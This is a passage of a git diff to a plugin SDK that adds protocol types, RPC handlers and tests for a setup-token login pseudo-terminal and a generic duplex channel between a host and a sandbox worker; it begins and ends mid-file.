+  DUPLEX_CHANNEL_DATA_NOTIFICATION,
+  DUPLEX_CHANNEL_EXIT_NOTIFICATION,
+  type PluginDuplexChannelCloseParams,
+  type PluginDuplexChannelCloseResult,
+  type PluginDuplexChannelDataParams,
+  type PluginDuplexChannelExitParams,
+  type PluginDuplexChannelOpenParams,
+  type PluginDuplexChannelOpenResult,
+  type PluginDuplexChannelStopParams,
+  type PluginDuplexChannelWriteParams,
+} from "./protocol.js";
+
+// The generic duplex channel messages model the setup-token pseudo-terminal
+// contract: open, write, stop, and close requests, plus data and exit
+// notifications. The host owns the route identifier. The worker returns a worker
+// session identifier that binds the data and the exit notification only. A close
+// keys on the host route identifier, so a lost open reply still permits a
+// host-keyed close.
+//
+// The messages are static types, so a valid payload assigns to its type and an
+// invalid payload fails the type check. The `@ts-expect-error` directives make
+// the compiler reject each invalid payload. The `tsc --noEmit` check validates
+// the directives, so an invalid payload that the type accepts fails the build.
+
+describe("duplex channel request schemas", () => {
+  it("accepts a valid open request and its reply", () => {
+    const open: PluginDuplexChannelOpenParams = {
+      hostRouteId: "route-1",
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      providerLeaseId: "lease-1",
+      command: ["paperclip-bridge"],
+    };
+    const reply: PluginDuplexChannelOpenResult = { workerSessionId: "ws-1" };
+    expect(open.hostRouteId).toBe("route-1");
+    expect(reply.workerSessionId).toBe("ws-1");
+  });
+
+  it("rejects an open request that omits the host route identifier", () => {
+    // @ts-expect-error — hostRouteId is required.
+    const open: PluginDuplexChannelOpenParams = {
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      providerLeaseId: "lease-1",
+      command: ["paperclip-bridge"],
+    };
+    expect(open).toBeDefined();
+  });
+
+  it("rejects an open request whose command is not a string array", () => {
+    const open: PluginDuplexChannelOpenParams = {
+      hostRouteId: "route-1",
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      providerLeaseId: "lease-1",
+      // @ts-expect-error — command must be a string array.
+      command: "paperclip-bridge",
+    };
+    expect(open).toBeDefined();
+  });
+
+  it("accepts a valid write request", () => {
+    const write: PluginDuplexChannelWriteParams = {
+      workerSessionId: "ws-1",
+      data: "payload",
+    };
+    expect(write.data).toBe("payload");
+  });
+
+  it("rejects a write request that omits the data", () => {
+    // @ts-expect-error — data is required.
+    const write: PluginDuplexChannelWriteParams = { workerSessionId: "ws-1" };
+    expect(write).toBeDefined();
+  });
+
+  it("accepts a valid stop request", () => {
+    const stop: PluginDuplexChannelStopParams = { workerSessionId: "ws-1" };
+    expect(stop.workerSessionId).toBe("ws-1");
+  });
+
+  it("rejects a stop request that omits the worker session identifier", () => {
+    // @ts-expect-error — workerSessionId is required.
+    const stop: PluginDuplexChannelStopParams = {};
+    expect(stop).toBeDefined();
+  });
+
+  it("accepts a close request keyed only by the host route identifier", () => {
+    const close: PluginDuplexChannelCloseParams = { hostRouteId: "route-1" };
+    const reply: PluginDuplexChannelCloseResult = { hostRouteId: "route-1" };
+    expect(close.hostRouteId).toBe("route-1");
+    expect(reply.hostRouteId).toBe("route-1");
+  });
+
+  it("accepts a close request that also carries the worker session identifier", () => {
+    const close: PluginDuplexChannelCloseParams = {
+      hostRouteId: "route-1",
+      workerSessionId: "ws-1",
+    };
+    expect(close.workerSessionId).toBe("ws-1");
+  });
+
+  it("rejects a close request that omits the host route identifier", () => {
+    // @ts-expect-error — hostRouteId is the authoritative close key and is required.
+    const close: PluginDuplexChannelCloseParams = { workerSessionId: "ws-1" };
+    expect(close).toBeDefined();
+  });
+});
+
+describe("duplex channel notification schemas", () => {
+  it("uses the generic notification method names", () => {
+    expect(DUPLEX_CHANNEL_DATA_NOTIFICATION).toBe("duplexChannel.data");
+    expect(DUPLEX_CHANNEL_EXIT_NOTIFICATION).toBe("duplexChannel.exit");
+  });
+
+  it("accepts a valid data notification", () => {
+    const data: PluginDuplexChannelDataParams = {
+      workerSessionId: "ws-1",
+      chunk: "output bytes",
+    };
+    expect(data.chunk).toBe("output bytes");
+  });
+
+  it("rejects a data notification that omits the chunk", () => {
+    // @ts-expect-error — chunk is required.
+    const data: PluginDuplexChannelDataParams = { workerSessionId: "ws-1" };
+    expect(data).toBeDefined();
+  });
+
+  it("accepts an exit notification with a numeric code and with null", () => {
+    const exit: PluginDuplexChannelExitParams = {
+      workerSessionId: "ws-1",
+      exitCode: 0,
+    };
+    const exitNull: PluginDuplexChannelExitParams = {
+      workerSessionId: "ws-1",
+      exitCode: null,
+    };
+    expect(exit.exitCode).toBe(0);
+    expect(exitNull.exitCode).toBeNull();
+  });
+
+  it("rejects an exit notification with a non-numeric, non-null exit code", () => {
+    const exit: PluginDuplexChannelExitParams = {
+      workerSessionId: "ws-1",
+      // @ts-expect-error — exitCode must be a number or null.
+      exitCode: "0",
+    };
+    expect(exit).toBeDefined();
+  });
+});
diff --git a/packages/plugins/sdk/src/protocol.ts b/packages/plugins/sdk/src/protocol.ts
index 3fb8e8035a9..f81c2bd0dcb 100644
--- a/packages/plugins/sdk/src/protocol.ts
+++ b/packages/plugins/sdk/src/protocol.ts
@@ -628,6 +628,17 @@ export interface PluginEnvironmentAcquireLeaseParams extends PluginEnvironmentDr
    */
   adapterType?: string;
   executionWorkspaceSettings?: Record<string, unknown> | null;
+  /**
+   * The absolute latest time the acquired lease may stay active, as an ISO 8601
+   * timestamp. A caller with an independent deadline (for example the setup-token
+   * login session) sets it. A provider that materializes a sandbox must configure
+   * a provider-side expiry at or before this time, and return the real provider
+   * expiry in `PluginEnvironmentLease.expiresAt`. When the provider cannot bound
+   * the sandbox at or before this time, it returns no expiry, so the server fails
+   * closed and releases the lease. When omitted, the provider keeps its default
+   * lifetime.
+   */
+  requestedExpiresAt?: string | null;
 }
 
 export interface PluginEnvironmentResumeLeaseParams extends PluginEnvironmentDriverBaseParams {
@@ -960,6 +971,217 @@ export interface PluginRenderCloseEvent {
   nativeEvent?: unknown;
 }
 
+// ---------------------------------------------------------------------------
+// Setup-token login pseudo-terminal (PTY) worker methods.
+// ---------------------------------------------------------------------------
+// The host drives one live Claude `setup-token` login pseudo-terminal inside a
+// sandbox provider worker. The host owns the route. It mints an opaque host
+// route identifier, carries that identifier in the open request, and keys the
+// close on that identifier. The worker registers the terminal under the host
+// route identifier and returns a worker session identifier for the output
+// notification binding only. The worker never keys a close on the worker
+// session identifier, so the host closes a worker-created terminal even when the
+// open reply was lost and no worker session identifier arrived. The worker sends
+// output and exit as notifications, never as a reply, so the host binds them by
+// the worker session identifier while the route is open.
+
+/** The open request for one live login pseudo-terminal. The worker registers the terminal by `hostRouteId`. */
+export interface PluginSetupTokenPtyOpenParams {
+  /** The host-owned opaque route identifier. The worker registers the terminal by it. */
+  hostRouteId: string;
+  /** The environment driver key, for the worker sandbox scope. */
+  driverKey: string;
+  /** The company that owns the login session. */
+  companyId: string;
+  /** The environment the login session runs in. */
+  environmentId: string;
+  /** The provider lease the sandbox is cached under. The worker resolves the sandbox by it. */
+  providerLeaseId: string;
+  /** The fixed login command. The worker runs only this command on the terminal. */
+  command: string;
+}
+
+/** The open reply. It returns the worker session identifier for output binding only. */
+export interface PluginSetupTokenPtyOpenResult {
+  /** The worker session identifier. It binds the output and the exit notification only. */
+  workerSessionId: string;
+}
+
+/** The input request. It carries the worker session identifier and the raw input bytes. */
+export interface PluginSetupTokenPtyInputParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+  /** The raw input bytes to write to the terminal. */
+  data: string;
+}
+
+/** The stop request. It carries the worker session identifier. */
+export interface PluginSetupTokenPtyStopParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+}
+
+/** The close request. The host route identifier is the authoritative key. */
+export interface PluginSetupTokenPtyCloseParams {
+  /**
+   * The host-owned opaque route identifier. This is the authoritative close key,
+   * so the host closes the terminal even when no worker session identifier
+   * arrived after a lost open reply.
+   */
+  hostRouteId: string;
+  /**
+   * A non-authoritative worker session identifier. The worker never keys the
+   * close on it. The field is optional, so a close with only the host route
+   * identifier is a valid request for this lifecycle.
+   */
+  workerSessionId?: string;
+}
+
+/** The close reply. It acknowledges the close and carries the same host route identifier. */
+export interface PluginSetupTokenPtyCloseResult {
+  /** The close acknowledgement. It carries the same host route identifier the close sent. */
+  hostRouteId: string;
+}
+
+/** The worker→host pseudo-terminal output notification parameters. Modeled on `execute.log`. */
+export interface PluginSetupTokenPtyOutputParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+  /** The raw terminal output bytes. */
+  chunk: string;
+}
+
+/** The worker→host pseudo-terminal exit notification parameters. */
+export interface PluginSetupTokenPtyExitParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+  /** The child exit code, or null when the child ended with no code. */
+  exitCode: number | null;
+}
+
+/**
+ * One live login pseudo-terminal session in the worker. The worker opener returns
+ * it. The shape matches the sandbox provider setup-token pseudo-terminal session,
+ * so a provider passes its session with no adapter.
+ */
+export interface PluginSetupTokenPtyWorkerSession {
+  /** Registers the one output listener. The session streams each raw chunk in order. */
+  onData(listener: (chunk: string) => void): void;
+  /** Writes raw input bytes to the pseudo-terminal. */
+  write(data: string): void;
+  /** Resolves with the child exit code when the command ends. */
+  wait(): Promise<{ exitCode: number | null }>;
+  /** Stops the child process. Safe to call more than one time. */
+  kill(): void;
+  /** Releases the session resources. Safe to call more than one time. */
+  close(): Promise<void>;
+}
+
+/** The worker→host notification method for one pseudo-terminal output chunk. */
+export const SETUP_TOKEN_PTY_OUTPUT_NOTIFICATION = "setupTokenPty.output";
+/** The worker→host notification method for one pseudo-terminal exit. */
+export const SETUP_TOKEN_PTY_EXIT_NOTIFICATION = "setupTokenPty.exit";
+
+// ---------------------------------------------------------------------------
+// Generic duplex channel worker methods.
+// ---------------------------------------------------------------------------
+// The host drives one persistent duplex channel inside a sandbox provider
+// worker. The channel replaces the file transport of the sandbox callback bridge
+// with one live bidirectional stream. These messages are generic. They model the
+// setup-token pseudo-terminal contract above, but they carry no login command
+// allowlist. The host owns the route. It mints an opaque host route identifier,
+// carries that identifier in the open request, and keys the close on that
+// identifier. The worker registers the channel under the host route identifier
+// and returns a worker session identifier for the data and the exit notification
+// binding only. The worker never keys a close on the worker session identifier,
+// so the host closes a worker-created channel even when the open reply was lost
+// and no worker session identifier arrived. The worker sends data and exit as
+// notifications, never as a reply, so the host binds them by the worker session
+// identifier while the route is open.
+
+/** The open request for one persistent duplex channel. The worker registers the channel by `hostRouteId`. */
+export interface PluginDuplexChannelOpenParams {
+  /** The host-owned opaque route identifier. The worker registers the channel by it. */
+  hostRouteId: string;
+  /** The environment driver key, for the worker sandbox scope. */
+  driverKey: string;
+  /** The company that owns the channel. */
+  companyId: string;
+  /** The environment the channel runs in. */
+  environmentId: string;
+  /** The provider lease the sandbox is cached under. The worker resolves the sandbox by it. */
+  providerLeaseId: string;
+  /**
+   * The command argument vector the worker runs on the channel. Element 0 is the
+   * program and the rest are its arguments. The worker quotes each element for the
+   * shell, so a shell metacharacter in an element cannot inject a shell command.
+   */
+  command: readonly string[];
+}
+
+/** The open reply. It returns the worker session identifier for data binding only. */
+export interface PluginDuplexChannelOpenResult {
+  /** The worker session identifier. It binds the data and the exit notification only. */
+  workerSessionId: string;
+}
+
+/** The write request. It carries the worker session identifier and the raw input bytes. */
+export interface PluginDuplexChannelWriteParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+  /** The raw input bytes to write to the channel. */
+  data: string;
+}
+
+/** The stop request. It carries the worker session identifier. */
+export interface PluginDuplexChannelStopParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+}
+
+/** The close request. The host route identifier is the authoritative key. */
+export interface PluginDuplexChannelCloseParams {
+  /**
+   * The host-owned opaque route identifier. This is the authoritative close key,
+   * so the host closes the channel even when no worker session identifier arrived
+   * after a lost open reply.
+   */
+  hostRouteId: string;
+  /**
+   * A non-authoritative worker session identifier. The worker never keys the
+   * close on it. The field is optional, so a close with only the host route
+   * identifier is a valid request for this lifecycle.
+   */
+  workerSessionId?: string;
+}
+
+/** The close reply. It acknowledges the close and carries the same host route identifier. */
+export interface PluginDuplexChannelCloseResult {
+  /** The close acknowledgement. It carries the same host route identifier the close sent. */
+  hostRouteId: string;
+}
+
+/** The worker→host duplex channel data notification parameters. */
+export interface PluginDuplexChannelDataParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+  /** The raw channel output bytes. */
+  chunk: string;
+}
+
+/** The worker→host duplex channel exit notification parameters. */
+export interface PluginDuplexChannelExitParams {
+  /** The worker session identifier that the open reply returned. */
+  workerSessionId: string;
+  /** The child exit code, or null when the child ended with no code. */
+  exitCode: number | null;
+}
+
+/** The worker→host notification method for one duplex channel data chunk. */
+export const DUPLEX_CHANNEL_DATA_NOTIFICATION = "duplexChannel.data";
+/** The worker→host notification method for one duplex channel exit. */
+export const DUPLEX_CHANNEL_EXIT_NOTIFICATION = "duplexChannel.exit";
+
 /**
  * Map of host→worker RPC method names to their `[params, result]` types.
  *
@@ -1064,6 +1286,34 @@ export interface HostToWorkerMethods {
     params: PluginEnvironmentDeleteTemplateParams,
     result: PluginEnvironmentDeleteTemplateResult,
   ];
+  /** Open one live login pseudo-terminal keyed by a host-owned route identifier. */
+  setupTokenPtyOpen: [
+    params: PluginSetupTokenPtyOpenParams,
+    result: PluginSetupTokenPtyOpenResult,
+  ];
+  /** Write delayed input to a live login pseudo-terminal, keyed by the worker session identifier. */
+  setupTokenPtyInput: [params: PluginSetupTokenPtyInputParams, result: void];
+  /** Stop a live login pseudo-terminal child, keyed by the worker session identifier. */
+  setupTokenPtyStop: [params: PluginSetupTokenPtyStopParams, result: void];
+  /** Close a live login pseudo-terminal by the host route identifier and return a bound acknowledgement. */
+  setupTokenPtyClose: [
+    params: PluginSetupTokenPtyCloseParams,
+    result: PluginSetupTokenPtyCloseResult,
+  ];
+  /** Open one persistent duplex channel keyed by a host-owned route identifier. */
+  duplexChannelOpen: [
+    params: PluginDuplexChannelOpenParams,
+    result: PluginDuplexChannelOpenResult,
+  ];
+  /** Write raw input to a persistent duplex channel, keyed by the worker session identifier. */
+  duplexChannelWrite: [params: PluginDuplexChannelWriteParams, result: void];
+  /** Stop a persistent duplex channel child, keyed by the worker session identifier. */
+  duplexChannelStop: [params: PluginDuplexChannelStopParams, result: void];
+  /** Close a persistent duplex channel by the host route identifier and return a bound acknowledgement. */
+  duplexChannelClose: [
+    params: PluginDuplexChannelCloseParams,
+    result: PluginDuplexChannelCloseResult,
+  ];
 }
 
 /** Union of all host→worker method names. */
@@ -1105,6 +1355,14 @@ export const HOST_TO_WORKER_OPTIONAL_METHODS: readonly HostToWorkerMethodName[]
   "environmentCaptureTemplate",
   "environmentCancelInteractiveSetup",
   "environmentDeleteTemplate",
+  "setupTokenPtyOpen",
+  "setupTokenPtyInput",
+  "setupTokenPtyStop",
+  "setupTokenPtyClose",
+  "duplexChannelOpen",
+  "duplexChannelWrite",
+  "duplexChannelStop",
+  "duplexChannelClose",
 ] as const;
 
 // ---------------------------------------------------------------------------
diff --git a/packages/plugins/sdk/src/testing.ts b/packages/plugins/sdk/src/testing.ts
index af12e9a8c8c..43ce72f6588 100644
--- a/packages/plugins/sdk/src/testing.ts
+++ b/packages/plugins/sdk/src/testing.ts
@@ -2478,6 +2478,22 @@ export function createTestHarness(options: TestHarnessOptions): TestHarness {
         // No-op in test harness — the host runner log sink is not wired here.
       },
     },
+    setupTokenPty: {
+      output(_workerSessionId: string, _chunk: string) {
+        // No-op in test harness — the host login route is not wired here.
+      },
+      exit(_workerSessionId: string, _exitCode: number | null) {
+        // No-op in test harness — the host login route is not wired here.
+      },
+    },
+    duplexChannel: {
+      data(_workerSessionId: string, _chunk: string) {
+        // No-op in test harness — the host duplex route is not wired here.
+      },
+      exit(_workerSessionId: string, _exitCode: number | null) {
+        // No-op in test harness — the host duplex route is not wired here.
+      },
+    },
     tools: {
       register(name, _decl, fn) {
         requireCapability(manifest, capabilitySet, "agent.tools.register");
diff --git a/packages/plugins/sdk/src/types.ts b/packages/plugins/sdk/src/types.ts
index adfad498d9e..6eda319ba50 100644
--- a/packages/plugins/sdk/src/types.ts
+++ b/packages/plugins/sdk/src/types.ts
@@ -2008,6 +2008,65 @@ export interface PluginExecutionClient {
   log(stream: "stdout" | "stderr", chunk: string): void;
 }
 
+/**
+ * `ctx.setupTokenPty` — stream one live login pseudo-terminal's output and exit
+ * from a sandbox provider worker to the host.
+ *
+ * The worker opener registers the output listener on the session and forwards
+ * each raw chunk through `output(workerSessionId, chunk)`. It forwards the child
+ * exit through `exit(workerSessionId, exitCode)`. Each call carries the worker
+ * session identifier the open reply returned, so the host binds the output to
+ * the open route by that identifier while the route is open. The host drops a
+ * chunk or an exit that carries an unknown or a mismatched identifier, and it
+ * never logs the raw bytes. The default is a no-op that never throws.
+ */
+export interface PluginSetupTokenPtyClient {
+  /**
+   * Deliver one raw output chunk of a live login pseudo-terminal.
+   *
+   * @param workerSessionId - The worker session identifier the open reply returned.
+   * @param chunk - The raw terminal output text.
+   */
+  output(workerSessionId: string, chunk: string): void;
+  /**
+   * Deliver the child exit of a live login pseudo-terminal.
+   *
+   * @param workerSessionId - The worker session identifier the open reply returned.
+   * @param exitCode - The child exit code, or null when the child ended with no code.
+   */
+  exit(workerSessionId: string, exitCode: number | null): void;
+}
+
+/**
+ * `ctx.duplexChannel` — stream one persistent duplex channel's data and exit from
+ * a sandbox provider worker to the host.
+ *
+ * The worker registers the data listener on the channel and forwards each raw
+ * chunk through `data(workerSessionId, chunk)`. It forwards the child exit through
+ * `exit(workerSessionId, exitCode)`. Each call carries the worker session
+ * identifier the open reply returned, so the host binds the data to the open route
+ * by that identifier while the route is open. The host drops a chunk or an exit
+ * that carries an unknown or a mismatched identifier, and it never logs the raw
+ * bytes. The default is a no-op that never throws. This client models the
+ * `setupTokenPty` client, but it carries no login command allowlist.
+ */
+export interface PluginDuplexChannelClient {
+  /**
+   * Deliver one raw data chunk of a persistent duplex channel.
+   *
+   * @param workerSessionId - The worker session identifier the open reply returned.
+   * @param chunk - The raw channel output text.
+   */
+  data(workerSessionId: string, chunk: string): void;
+  /**
+   * Deliver the child exit of a persistent duplex channel.
+   *
+   * @param workerSessionId - The worker session identifier the open reply returned.
+   * @param exitCode - The child exit code, or null when the child ended with no code.
+   */
+  exit(workerSessionId: string, exitCode: number | null): void;
+}
+
 // ---------------------------------------------------------------------------
 // Full plugin context
 // ---------------------------------------------------------------------------
@@ -2123,6 +2182,15 @@ export interface PluginContext {
    * stream. */
   execution: PluginExecutionClient;
 
+  /** Stream one live login pseudo-terminal's output and exit to the host.
+   * The default is a no-op for a provider that opens no login
+   * pseudo-terminal. */
+  setupTokenPty: PluginSetupTokenPtyClient;
+
+  /** Stream one persistent duplex channel's data and exit to the host. The
+   * default is a no-op for a provider that opens no duplex channel. */
+  duplexChannel: PluginDuplexChannelClient;
+
   /** Register agent tool handlers. Requires `agent.tools.register`. */
   tools: PluginToolsClient;
 
diff --git a/packages/plugins/sdk/src/worker-rpc-host.ts b/packages/plugins/sdk/src/worker-rpc-host.ts
index ccad211040f..4c00884e11f 100644
--- a/packages/plugins/sdk/src/worker-rpc-host.ts
+++ b/packages/plugins/sdk/src/worker-rpc-host.ts
@@ -100,11 +100,23 @@ import type {
   PluginEnvironmentCaptureTemplateParams,
   PluginEnvironmentCancelInteractiveSetupParams,
   PluginEnvironmentDeleteTemplateParams,
+  PluginSetupTokenPtyOpenParams,
+  PluginSetupTokenPtyInputParams,
+  PluginSetupTokenPtyStopParams,
+  PluginSetupTokenPtyCloseParams,
+  PluginDuplexChannelOpenParams,
+  PluginDuplexChannelWriteParams,
+  PluginDuplexChannelStopParams,
+  PluginDuplexChannelCloseParams,
   PluginInvocationContext,
   WorkerToHostMethodName,
   WorkerToHostMethods,
 } from "./protocol.js";
 import {
+  SETUP_TOKEN_PTY_OUTPUT_NOTIFICATION,
+  SETUP_TOKEN_PTY_EXIT_NOTIFICATION,
+  DUPLEX_CHANNEL_DATA_NOTIFICATION,
+  DUPLEX_CHANNEL_EXIT_NOTIFICATION,
   JSONRPC_VERSION,
   JSONRPC_ERROR_CODES,
   PLUGIN_RPC_ERROR_CODES,
@@ -1366,6 +1378,54 @@ export function startWorkerRpcHost(options: WorkerRpcHostOptions): WorkerRpcHost
         },
       },
 
+      setupTokenPty: {
+        output(workerSessionId: string, chunk: string): void {
+          // Forward one raw output chunk of a live login pseudo-terminal. The
+          // notification carries the worker session identifier, so the host binds
+          // the chunk to the open route by that identifier while the route is
+          // open. The host drops an unknown or a mismatched identifier and never
+          // logs the raw bytes. This notification carries no invocation id,
+          // because it fires after the open reply returns.
+          if (typeof workerSessionId !== "string" || workerSessionId.length === 0) return;
+          if (typeof chunk !== "string" || chunk.length === 0) return;
+          notifyHost(SETUP_TOKEN_PTY_OUTPUT_NOTIFICATION, { workerSessionId, chunk });
+        },
+        exit(workerSessionId: string, exitCode: number | null): void {
+          // Forward the child exit of a live login pseudo-terminal. The host
+          // resolves the open route's wait promise by the worker session
+          // identifier while the route is open.
+          if (typeof workerSessionId !== "string" || workerSessionId.length === 0) return;
+          notifyHost(SETUP_TOKEN_PTY_EXIT_NOTIFICATION, {
+            workerSessionId,
+            exitCode: typeof exitCode === "number" ? exitCode : null,
+          });
+        },
+      },
+
+      duplexChannel: {
+        data(workerSessionId: string, chunk: string): void {
+          // Forward one raw data chunk of a persistent duplex channel. The
+          // notification carries the worker session identifier, so the host binds
+          // the chunk to the open route by that identifier while the route is
+          // open. The host drops an unknown or a mismatched identifier and never
+          // logs the raw bytes. This notification carries no invocation id,
+          // because it fires after the open reply returns.
+          if (typeof workerSessionId !== "string" || workerSessionId.length === 0) return;
+          if (typeof chunk !== "string" || chunk.length === 0) return;
+          notifyHost(DUPLEX_CHANNEL_DATA_NOTIFICATION, { workerSessionId, chunk });
+        },
+        exit(workerSessionId: string, exitCode: number | null): void {
+          // Forward the child exit of a persistent duplex channel. The host
+          // resolves the open route's wait promise by the worker session
+          // identifier while the route is open.
+          if (typeof workerSessionId !== "string" || workerSessionId.length === 0) return;
+          notifyHost(DUPLEX_CHANNEL_EXIT_NOTIFICATION, {
+            workerSessionId,
+            exitCode: typeof exitCode === "number" ? exitCode : null,
+          });
+        },
+      },
+
       tools: {
         register(
           name: string,
@@ -1582,6 +1642,30 @@ export function startWorkerRpcHost(options: WorkerRpcHostOptions): WorkerRpcHost
       case "environmentDeleteTemplate":
         return handleEnvironmentDeleteTemplate(params as PluginEnvironmentDeleteTemplateParams);
 
+      case "setupTokenPtyOpen":
+        return handleSetupTokenPtyOpen(params as PluginSetupTokenPtyOpenParams);
+
+      case "setupTokenPtyInput":
+        return handleSetupTokenPtyInput(params as PluginSetupTokenPtyInputParams);
+
+      case "setupTokenPtyStop":
+        return handleSetupTokenPtyStop(params as PluginSetupTokenPtyStopParams);
+
+      case "setupTokenPtyClose":
+        return handleSetupTokenPtyClose(params as PluginSetupTokenPtyCloseParams);
+
+      case "duplexChannelOpen":
+        return handleDuplexChannelOpen(params as PluginDuplexChannelOpenParams);
+
+      case "duplexChannelWrite":
+        return handleDuplexChannelWrite(params as PluginDuplexChannelWriteParams);
+
+      case "duplexChannelStop":
+        return handleDuplexChannelStop(params as PluginDuplexChannelStopParams);
+
+      case "duplexChannelClose":
+        return handleDuplexChannelClose(params as PluginDuplexChannelCloseParams);
+
       default:
         throw Object.assign(
           new Error(`Unknown method: ${method}`),
@@ -1633,6 +1717,14 @@ export function startWorkerRpcHost(options: WorkerRpcHostOptions): WorkerRpcHost
     if (plugin.definition.onEnvironmentCaptureTemplate) supportedMethods.push("environmentCaptureTemplate");
     if (plugin.definition.onEnvironmentCancelInteractiveSetup) supportedMethods.push("environmentCancelInteractiveSetup");
     if (plugin.definition.onEnvironmentDeleteTemplate) supportedMethods.push("environmentDeleteTemplate");
+    if (plugin.definition.onSetupTokenPtyOpen) supportedMethods.push("setupTokenPtyOpen");
+    if (plugin.definition.onSetupTokenPtyInput) supportedMethods.push("setupTokenPtyInput");
+    if (plugin.definition.onSetupTokenPtyStop) supportedMethods.push("setupTokenPtyStop");
+    if (plugin.definition.onSetupTokenPtyClose) supportedMethods.push("setupTokenPtyClose");
+    if (plugin.definition.onDuplexChannelOpen) supportedMethods.push("duplexChannelOpen");
+    if (plugin.definition.onDuplexChannelWrite) supportedMethods.push("duplexChannelWrite");
+    if (plugin.definition.onDuplexChannelStop) supportedMethods.push("duplexChannelStop");
+    if (plugin.definition.onDuplexChannelClose) supportedMethods.push("duplexChannelClose");
 
     return { ok: true, supportedMethods };
   }
@@ -1981,6 +2073,62 @@ export function startWorkerRpcHost(options: WorkerRpcHostOptions): WorkerRpcHost
     return plugin.definition.onEnvironmentDeleteTemplate(params);
   }
 
+  async function handleSetupTokenPtyOpen(params: PluginSetupTokenPtyOpenParams) {
+    if (!plugin.definition.onSetupTokenPtyOpen) {
+      throw methodNotImplemented("setupTokenPtyOpen");
+    }
+    return plugin.definition.onSetupTokenPtyOpen(params);
+  }
+
+  async function handleSetupTokenPtyInput(params: PluginSetupTokenPtyInputParams) {
+    if (!plugin.definition.onSetupTokenPtyInput) {
+      throw methodNotImplemented("setupTokenPtyInput");
+    }
+    return plugin.definition.onSetupTokenPtyInput(params);
+  }
+
+  async function handleSetupTokenPtyStop(params: PluginSetupTokenPtyStopParams) {
+    if (!plugin.definition.onSetupTokenPtyStop) {
+      throw methodNotImplemented("setupTokenPtyStop");
+    }
+    return plugin.definition.onSetupTokenPtyStop(params);
+  }
+
+  async function handleSetupTokenPtyClose(params: PluginSetupTokenPtyCloseParams) {
+    if (!plugin.definition.onSetupTokenPtyClose) {
+      throw methodNotImplemented("setupTokenPtyClose");
+    }
+    return plugin.definition.onSetupTokenPtyClose(params);
+  }
+
+  async function handleDuplexChannelOpen(params: PluginDuplexChannelOpenParams) {
+    if (!plugin.definition.onDuplexChannelOpen) {
+      throw methodNotImplemented("duplexChannelOpen");
+    }
+    return plugin.definition.onDuplexChannelOpen(params);
+  }
+
+  async function handleDuplexChannelWrite(params: PluginDuplexChannelWriteParams) {
+    if (!plugin.definition.onDuplexChannelWrite) {
+      throw methodNotImplemented("duplexChannelWrite");
+    }
+    return plugin.definition.onDuplexChannelWrite(params);
+  }
+
+  async function handleDuplexChannelStop(params: PluginDuplexChannelStopParams) {
+    if (!plugin.definition.onDuplexChannelStop) {
+      throw methodNotImplemented("duplexChannelStop");
+    }
+    return plugin.definition.onDuplexChannelStop(params);
+  }
+
+  async function handleDuplexChannelClose(params: PluginDuplexChannelCloseParams) {
+    if (!plugin.definition.onDuplexChannelClose) {
+      throw methodNotImplemented("duplexChannelClose");
+    }
+    return plugin.definition.onDuplexChannelClose(params);
+  }
+
   // -----------------------------------------------------------------------
   // Event filter helper
   // -----------------------------------------------------------------------
diff --git a/packages/plugins/sdk/tests/worker-rpc-host.test.ts b/packages/plugins/sdk/tests/worker-rpc-host.test.ts
index c178a2fe2ec..38c6e9b6b7a 100644
--- a/packages/plugins/sdk/tests/worker-rpc-host.test.ts
+++ b/packages/plugins/sdk/tests/worker-rpc-host.test.ts
@@ -14,9 +14,11 @@ import {
   createSuccessResponse,
   isJsonRpcRequest,
   isJsonRpcResponse,
+  isJsonRpcNotification,
   parseMessage,
   PLUGIN_RPC_ERROR_CODES,
   serializeMessage,
+  type JsonRpcNotification,
   type JsonRpcResponse,
   type PluginInvocationContext,
 } from "../src/protocol.js";
@@ -755,3 +757,339 @@ describe("worker execute.log emitter", () => {
     ]);
   });
 });
+
+describe("worker setup-token pseudo-terminal dispatch", () => {
+  it("dispatches open, input, stop, and close, and streams output and exit as notifications", async () => {
+    const hostToWorker = new PassThrough();
+    const workerToHost = new PassThrough();
+    const hostReadline = createInterface({ input: workerToHost });
+    const pending = new Map<string, (response: JsonRpcResponse) => void>();
+    const notifications: JsonRpcNotification[] = [];
+    let nextRequestId = 1;
+
+    // The fake session the opener returns. The test drives its output and exit.
+    let emitOutput: ((chunk: string) => void) | null = null;
+    let resolveWait: ((value: { exitCode: number | null }) => void) | null = null;
+    const inputs: string[] = [];
+    let killed = 0;
+    let closed = 0;
+
+    // The worker emits output and exit through `ctx.setupTokenPty`, bound to the
+    // worker session id. The test drives them through the captured emitters.
+    const controllablePlugin = definePlugin({
+      async setup(ctx) {
+        emitOutput = (chunk: string) => ctx.setupTokenPty.output("ws-1", chunk);
+        resolveWait = (value) => ctx.setupTokenPty.exit("ws-1", value.exitCode);
+      },
+      async onSetupTokenPtyOpen(params) {
+        // The open carries the host route id and the fixed command. The worker
+        // returns a worker session id for the output binding only.
+        expect(params.hostRouteId).toBe("route-1");
+        expect(params.command).toBe("claude setup-token");
+        expect(params.providerLeaseId).toBe("lease-1");
+        return { workerSessionId: "ws-1" };
+      },
+      async onSetupTokenPtyInput(params) {
+        inputs.push(params.data);
+      },
+      async onSetupTokenPtyStop() {
+        killed += 1;
+      },
+      async onSetupTokenPtyClose(params) {
+        // The close keys on the host route id and returns a bound acknowledgement.
+        closed += 1;
+        return { hostRouteId: params.hostRouteId };
+      },
+    });
+
+    const worker = startWorkerRpcHost({
+      plugin: controllablePlugin,
+      stdin: hostToWorker,
+      stdout: workerToHost,
+    });
+
+    function callWorker(method: string, params: unknown) {
+      const id = `host-${nextRequestId++}`;
+      const result = new Promise<unknown>((resolve, reject) => {
+        pending.set(id, (response) => {
+          if ("error" in response && response.error) {
+            reject(new Error(response.error.message));
+            return;
+          }
+          resolve((response as { result?: unknown }).result);
+        });
+      });
+      hostToWorker.write(serializeMessage(createRequest(method, params, id)));
+      return result;
+    }
+
+    hostReadline.on("line", (line) => {
